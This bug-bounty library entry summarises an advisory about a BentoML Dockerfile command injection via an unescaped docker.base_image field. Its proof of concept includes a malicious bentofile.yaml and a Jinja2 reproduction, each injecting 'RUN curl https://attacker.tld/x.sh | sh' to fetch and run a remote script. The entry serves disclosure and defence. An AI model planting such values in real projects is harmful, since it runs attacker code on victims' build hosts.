# BentoML Dockerfile command injection via docker.base_image (sister of pending GHSA-w2pm-x38x-jp44 / CVE-2026-33744 / CVE-2026-35043)

BentoML interpolates docker.base_image raw into its Dockerfile template, so a multi-line value in bento.yaml injects RUN directives executed during bentoml containerize.

- Payout: Research
- Severity: high
- Program: BentoML
- Found by: SSJCorpSec
- Disclosed: 2026-05-11
- CVE: CVE-2026-44345
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-78f9-r8mh-4xm2
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-78f9-r8mh-4xm2
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:docker tech:python technique:chained technique:source-review vuln:command-injection

**Target:** bentoml containerize Dockerfile Jinja template (base_v2.j2)
**Root cause:** DockerOptions.base_image has no validator/converter and is rendered unescaped into the `FROM {{ __options__base_image }}` line of base_v2.j2, so embedded newlines become new Dockerfile directives.
**Steps:**
1. Craft bentofile.yaml with `docker.base_image` set to a YAML block scalar: `python:3.10` newline `RUN curl https://attacker.tld/x.sh | sh` newline `FROM scratch`.
2. Victim runs `bentoml containerize` on the shared bento; DockerOptions(**docker_attrs) loads the value unvalidated.
3. Template renders `FROM python:3.10` / `RUN curl https://attacker.tld/x.sh | sh` / `FROM scratch AS base-container`.
4. `docker build` executes the injected RUN on the victim host; trailing `FROM scratch AS base-container` satisfies the named stage so the build continues.
**How found:** Noticed the same base_v2.j2 template that mishandles envs[*].name also interpolates docker.base_image raw; confirmed by rendering the template with a multi-line value and observing three directives instead of one.
**Exploitation:** Attacker distributes a bento (registry/marketplace/supply-chain handoff) whose bentofile.yaml carries a multi-line base_image; when the victim containerizes it, docker build runs the injected RUN command on the host.
**Insight:** When one field in a Jinja Dockerfile template is found injectable, audit every other `{{ }}` in the same template — sibling fields like build_include, user, uid_gid, path, home, entrypoint share the raw-interpolation pattern and the same newline-injection class.

## Proof of concept (copied exactly from the original report)

**Malicious bentofile.yaml with multi-line base_image**

```
docker:
  base_image: |
    python:3.10
    RUN curl https://attacker.tld/x.sh | sh
    FROM scratch
```

**Jinja2 reproduction of unsafe interpolation**

```
from jinja2 import Environment
env = Environment()
malicious = 'python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch'
out = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious)
print(out)
```

